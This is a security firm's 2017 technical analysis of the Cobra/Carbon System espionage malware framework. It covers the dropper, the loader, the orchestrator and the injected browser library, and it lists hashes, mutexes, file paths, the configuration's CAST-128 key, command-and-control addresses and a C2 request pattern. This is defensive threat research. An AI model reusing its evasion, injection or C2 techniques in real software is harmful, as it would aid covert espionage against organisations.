Analysis of Project Cobra

By Paul Rascagnères

Published: 2017-05-11 · Archived: 2026-04-02 12:30:52 UTC

One specification of the group behind this threat is the fact that when they developed new tools, the old ones are not destroyed or abandoned but still maintained and used. Thanks to our collection of samples we are able to draw the following timeline:

The Cobra can be considered as an extensible framework. This framework is generally downloaded and dropped by a reconnaissance malware for example Tavdig, aka Wipbot (Symantec) or also Epic Backdoor (Kaspersky). The following schema illustrates the “modus opandi” used by the Uroburos actors:

Using IOC (Indicators of Compromise) to detect this malware is quite complicated, because the malware authors made efforts to randomize many factors. For example, the attackers drop the malware into different directories, using the files present, also chosen randomly, to store the malware configuration.

Due to these characteristics, the experts of the G DATA SecurityLabs decided to publish an analysis of the framework dropped by the file with the md5: cb1b68d9971c2353c2d6a8119c49b51f. G DATA security solutions detect this file as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B).

We can find the compilation path in a file embedded in the dropper:
f:\Workshop\Projects\cobra\carbon_system\x64\Release\carbon_system.pdb

Looking at this, we can easily identify that “Carbon System” is a part of the “Cobra” project.

Dropper

The dropper is used to install four files on the infected system. The dropped files are stored in the resources of the binary. The dropper has the 32-bit and the 64-bit version of the executable files embedded. It installs the following files:

- miniport.dat: configuration file;
- stage 1: the file name is randomly chosen from ipvpn.dll,srsvc.dll or kmsvc.dll. This library is registered as a service;
- stage 2: the file name is msimghlp.dll. It’s the orchestrator of the malware (called “system” by the author);
- stage 3: the file name is msximl.dll. This library (called “user” by the authors) is injected in the browsers and the email clients in order to communicate to the outside via web requests.

The persistence is performed by the creation of a service (HKLM\SYSTEM\CurrentControlSet\Service\). The service name depends on the chosen stage 1 file name:

<thead></thead>

File Name	Service Name	Display Name	Description (Copy&Paste from the binary)
ipvpn.dll	ipvpn	Virtual Private Network Routing Service	Provides enchanced network management while active VPN connection established. Support All necessary functions and maintain dynamic table rules. Enforcement technologies that use virtual networks may not function properly without this service
srsvc.dll	srservice	System Restore Service	Performs system restore functions. To stop service, turn off System Restore from the System Restore tab in My Computer.
kmsvc.dll	hkmsvc	Health Key and Certificate Management Service	Provides X.509 certificate and key management services for the Network Access Protection Agent (NAPAgent). Enforcement technologies that use X.509 certificates may not function properly without this service

The descriptions reveal spelling mistakes and the sentence structure may indicate that the texts have been written by non-native speakers.

Stage 1 is always installed in %SystemRoot%\system32\
To install something into %SystemRoot%, the attackers have to have gained administration privileges before they executed the dropper. The three other dropped files are stored in an existing directory in %ProgramFiles%, randomly chosen.

During the installation, executed in a command line, the dropper displays the following information:

The screenshot shows the string “LUCKY STRIKE!!!”, displayed in case the installation was carried out successfully and “Idioten???” in case of any installation error. To be able to find the random installation path, the dropper modifies a legitimate .inf file (also chosen randomly) in %SystemRoot%\inf\ to add the following information to the end of the file:

[B8744A58]
root=C:\Program Files\Windows NT\Accessoiries\en-US

The ID between the brackets is a unique ID and the root variable contains the path in which the three additional files are installed.

The tricks put in place by the authors – random file names and random installation paths – are used to limit the detection possible with Indicators of Compromise. Generally, security researchers use these kinds of artifacts in order to detect the compromise of systems.

Stage 1: loader

MD5: 43e896ede6fe025ee90f7f27c6d376a4
G DATA security solutions detect this as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.A (Engine B).

The first stage is rather small as the number of instructions and actions is rather small. Simply spoken, its purpose is to load the second stage. To perform this task, the first stage checks all of the files in %SystemRoot%\inf\ in order to find the entry with the unique ID previously mentioned and therefore to determine the path for stage 2. After that, the library of the second stage is loaded and, subsequently, the exported function ModuleStart() is executed:

Stage 2: the orchestrator

Md5: e6d1dcc6c2601e592f2b03f35b06fa8f
Version: 3.71
G DATA security solutions detect this threat as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B).

The second stage is called “system” by the authors of the malware. The internal name of the library is carbon_system.dll.

The purpose of this code is to stay in background and orchestrate several requests and tasks made by the other .dlls or named pipe connections.

Mutex creation

The orchestrator creates several mutexes. These mutexes are used for two reasons:

- used by the third stage in order to detect whether the orchestrator has been launched correctly on the infected system;
- used to execute the orchestrator only once.

Here are the created mutexes:

- Global\MSCTF.Shared.MUTEX.zRX
- Global\DBWindowsBase
- Global\IEFrame.LockDefaultBrowser
- Global\WinSta0_DesktopSessionMut
- Global\{5FA3BC02-920F-D42A-68BC-04F2A75BE158}
- Global\SENS.LockStarterCacheResource
- Global\ShimSharedMemoryLock

Working files and directories

Here are the working files and directories used by the orchestrator. The orchestrator creates one single random path and then stores all necessary folders mentioned under this one randomly generated path:

- %randompath%\Nls\: directory related to the tasks to be executed
- %randompath%\0208\: directory related to the temporary files
- %randompath%\System\: directory related to the additional plugins
- %randompath%\System\bootmisc.sdi: seems not to be used
- %randompath%\0208\C_56743.NLS: files related to the tasks to be executed and the plugins
- %randompath%\Nls\b9s3coff.ax: files related to the tasks to be executed and the named pipe
- %randompath%\Nls\a67ncodc.ax: file related to the tasks to be executed
- %randompath%\vndkrmn.dic: log file
- %randompath%\qavsrc.dat: log file
- %randompath%\miniport.dat: configuration file
- %randompath%\asmcerts.rs: purpose currently unknown
- %randompath%\getcert.rs: purpose currently unknown

The files are not automatically created during the startup of the malware. The files are created only if the orchestrator needs them.

Configuration file

The configuration file (miniport.dat) is used by the second and the third stage. The file is encrypted with the CAST-128 algorithm, the same algorithm that has been used by Uroburos to encrypt the file systems. The encryption key is:
{ 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0xfe, 0xfc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10 }
Note: following the logic, 0xfc would be expected to be 0xdc.

Here is an example of the configuration file:
paul@gdata:~/Carbon/$ ./decrypt.py miniport.dat
[NAME]
object_id=acce6511-ba11-fa11-f0047d1
iproc = iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe
ex = #,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe

[TIME]
user_winmin = 1800000
user_winmax = 3600000
sys_winmin = 3600000
sys_winmax = 3700000
task_min = 20000
task_max = 30000
checkmin = 60000
checkmax = 70000
logmin = 60000
logmax = 120000
lastconnect=1419925298
timestop=

active_con = 900000
time2task=3600000
check_lastconnect=1419925298

[CW_LOCAL]
quantity = 0

[CW_INET]
quantity = 4
address1 = soheylistore.ir:80:/modules/mod_feed/feed.php
address2 = tazohor.com:80:/wp-includes/feed-rss-comments.php
address3 = jucheafrica.com:80:/wp-includes/class-wp-edit.php
address4 = 61paris.fr:80:/wp-includes/ms-set.php

[CW_INET_RESULTS]
quantity = 4
address1 = soheylistore.ir:80:/modules/mod_feed/feed.php
address2 = tazohor.com:80:/wp-includes/feed-rss-comments.php
address3 = jucheafrica.com:80:/wp-includes/class-wp-edit.php
address4 = 61paris.fr:80:/wp-includes/ms-set.php

[TRANSPORT]
system_pipe = comnap
spstatus = yes
adaptable = no

[DHCP]
server = 135

[LOG]
logperiod = 7200
lastsend=1419924312

[WORKDATA]
run_task=
run_task_system=

[VERSION]
System=3/71
User=3/62

The websites listed in [CW_INET] and [CW_INET_RESULTS] are all compromised legitimate WordPress websites. By the time of writing this article, all websites have been cleaned and patched.

The file format is the same as the .ini file format from Windows. The authors use the Windows API to parse the configuration (GetPrivateProfileStringA()).

The file contains:

- A unique ID to identify the infected machine (object_id);
- The command and control server used by stage 3 (addressX);
- The version of the “system” and the “user” library (in [VERSION]);
- The frequency and time of execution of several internal tasks ([TIME]);
- The name of the named pipe used as communication channel between the “system” and the “user” (system_pipe);
- The process name where stage 3 will be injected (iproc);
- …

Communication via named pipes

The orchestrator creates two named pipes in order to communicate with stage 3 or to receive messages from an external machine:

- \\.\\pipe\sdlrpc
- \\.\\pipe\comnap (the name in the configuration file)

Features

The orchestrator creates nine threads in order to handle the different features. We will now have a look at the most interesting threads.

One thread is used to check if the parameters in the configuration file have changed.

A second thread is used to check the available hard disk space. If the HDD space is low, the orchestrator generates an entry in the log file:

The preceding screenshot reveals a rather interesting use of English, again. From what we can conclude, we believe “Survive me” is supposed to mean something like “Rescue me” in the sense of “help me to survive”.

A third thread is created in order to handle the tasks. A task is a command sent from the C&C that is to be executed. The code to be executed is stored locally on the infected machine. The orchestrator is able to execute libraries (by executing the export start()) or to execute Windows’ command line. The command line can be execute with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()):

A fourth thread is used to handle the log rotation file (vndkrmn.dic).

A fifth thread is used to create and read the data sent to the named pipes.

A sixth thread is used to load plugins. For the orchestrator a module is a library file with a specific export called ModuleStart(). The plugin list is stored in the configuration file ([PLUGINS]). This thread is very similar to the third thread, but is bares some minor differences. The function to execute the plugins is not the same.

Finally a seventh thread is used to inject stage 3 (msximl.dll) into the browsers and email clients. The list of the targeted processes is stored in the configuration file:
iproc = iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe
As usual, the injected library is executed via the ModuleStart() exports.

Log file

The orchestrator and stage 3 generate a shared log file. The file is encrypted with the same algorithm and the same key as the configuration file. Here is an example of the content:

```
paul@gdata:~/Carbon$ ./decrypt.py infected/vndkrmn.dic
[LOG]
start=1
30/12/14|08:28:44|acce6511-ba11-fa11-f0047d1|s|ST|3/71|0|
30/12/14|08:29:50|acce6511-ba11-fa11-f0047d1|s|INJ|C:\Program Files\Windows Mail\en-US\msximl.dll|
30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|s|INJ|0|2204|
30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|u|ST|3/62|"C:\Program Files\Internet Explorer\iexplore.exe"
:2204|
30/12/14|08:30:28|acce6511-ba11-fa11-f0047d1|u|ST|2204:END|
30/12/14|08:30:39|acce6511-ba11-fa11-f0047d1|u|W|-1|0|ALL|NOINET|
30/12/14|08:30:41|acce6511-ba11-fa11-f0047d1|u|W|-1|0|ALL|NOINET|
30/12/14|08:37:18|acce6511-ba11-fa11-f0047d1|s|STOP|3/71|0|
30/12/14|08:37:18|acce6511-ba11-fa11-f0047d1|s|STOP|OK|
30/12/14|08:39:45|acce6511-ba11-fa11-f0047d1|s|ST|3/71|0|
30/12/14|08:41:13|acce6511-ba11-fa11-f0047d1|s|INJ|C:\Program Files\Windows Mail\en-US\msximl.dll|
30/12/14|08:41:34|acce6511-ba11-fa11-f0047d1|s|INJ|0|2196|
30/12/14|08:41:34|acce6511-ba11-fa11-f0047d1|u|ST|3/62|"C:\Program Files\Internet Explorer\iexplore.exe"
:2196|
30/12/14|08:41:34|acce6511-ba11-fa11-f0047d1|u|ST|2196:END|
30/12/14|08:41:35|acce6511-ba11-fa11-f0047d1|u|OPER|Wrong config: no lastconnect|
30/12/14|08:41:36|acce6511-ba11-fa11-f0047d1|u|P|0|NULL|0|Sleep:41|
30/12/14|08:41:38|acce6511-ba11-fa11-f0047d1|u|OPER|Wrong config: no lastconnect|
30/12/14|08:41:39|acce6511-ba11-fa11-f0047d1|u|W|-1|0|tazohor.com:/|nrt|
30/12/14|08:41:40|acce6511-ba11-fa11-f0047d1|u|W|-1|0|61paris.fr:/|nrt|
30/12/14|08:41:40|acce6511-ba11-fa11-f0047d1|u|W|0|NULL|0|Sleep:1816467|
30/12/14|08:41:40|acce6511-ba11-fa11-f0047d1|u|P|0|NULL|0|Sleep:604
```

The log format is:
Date|Time|Unique ID|source|message

The source can be:

- S: stands for the orchestrator (or “System”);
- U: stands for the injected library (or “User”).

The format of the message is not always the same. However, the first part is the executed feature:

- ST: start (either for the orchestrator or the injected library); the second part of the message is the version (for example 3.71 for the orchestrator and 3.62 for the injected library) and, regarding the injected library, the name of the host process;
- STOP: stop;
- OPER: message for the operator (for example when the disk space is low);
- W: web requests;
- INJ: injection; the second part of the message is the path of the file (lib) used to be injected into e.g. the browser or the PID;
- L: load library log message;
- S: log rotation message;
- T: message linked to the task execution;

Stage 3: the injected library

Md5: 554450c1ecb925693fedbb9e56702646
Version: 3.62
This threat is detected by G DATA security solutions as Backdoor.TurlaCarbon.A (Engine A) and Win32.Trojan.Cobra.B (Engine B).

Stage 3 is called “user” by the authors. The internal name of the library is CARBON.dll.
The purpose of this stage is to communicate to the outside via web requests. The communication is used to ex-filtrate data and to receive orders (or plugins or code to execute).

Mutex check

The first task of stage 3 is to check whether the mutexes created by the orchestrator are available or not, to make sure the orchestrator has started correctly:

Check of the Internet connection

Before communicating with the command and control server, stage 3 checks whether an Internet connection is available by contacting:

- www.google.com
- www.yahoo.com
- www.bing.com
- update.microsoft.com
- windowsupdate.microsoft.com
- microsoft.com

In case the connection does not work, the following message is written into the log file:
|u|W|-1|0|ALL|NOINET|

Communication to the command & controls

The communication to the operators is performed via the URL stored in the configuration file.

Firstly, the malware performs a GET request in order to identify whether the C&C is up and running.

If the first query is a success, a second request is sent to the C&C with the difference that some data is included into an HTTP Cookie. The content of the cookie is catid, task, id, forumid, itemid, link, layout, start, limit (none of the parameters is mandatory). The data sent in this cookie is encrypted, using the CAST-128 algorithm, and encoded.

The malware can also generate POST requests. Here is an example of the pattern:
POST hxxp://%s/%s?uid=%d&context=%s&mode=text&data=%s

The malware uses the same technique as Tavdig does to receive orders. The data can be seen between the and the field in the following screenshot:

Additional features

Stage 3 is able to execute tasks, exactly as the orchestrator is. The code concerning the features is exactly the same as the code the orchestrator uses. We assume that this is the case due to copy & paste. The “user” is able to execute libraries (by executing the export start()) and to execute Windows command line. The command line can be executed with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()).

Conclusion

This analysis shows us that the actors behind Uroburos, Agent.BTZ and the Carbon System are skilled and still active. This sample we analyzed demonstrates how the authors tried to complicate the detection and the use of Indicators of Compromise. Summarized, some of the tricks we have encountered:

- use of random service names;
- us of random file names;
- use of random installation directory names;
- configuration of the named pipe name;
- …

Carbon System is a real extensible framework with a plugin management. As these plugins are provided by the contacted C&C servers, it can be anything – nothing has to be pre-bundled. Due to the nature of the malware attacks, we can imagine those plugins to be anything connected to cyber espionage, from keyloggers to credentials stealers, eavesdropping mechanisms and much more. An attacked enterprise or organization would be an open book for the attackers.

The architecture is complex, with an orchestrator and a library injected into the browsers’ and email clients’ processes. Obviously, this approach resembles what we have seen looking at Uroburos. The framework could be

considered as a “draft” but still very powerful version (in user-land only) of Uroburos. We believe that Uroburos is the product of the Cobra malware evolution. Although Uroburos is a new branch, not a linear follow-up.

Looking at the whole picture that we can draw until now, we can say that everything regarding this whole campaign is highly professional. We have analyzed various samples and have drawn many conclusions. Even though there are still many open questions that need to be answered, we come closer to charming the snakes – The Cobra, the venomous animal with the deadly bite, and Uroburos, the self-sustaining creepy mixture of a snake and a dragon. This kind of herpetology became quite interesting and we are thrilled to find out more about the campaigns.
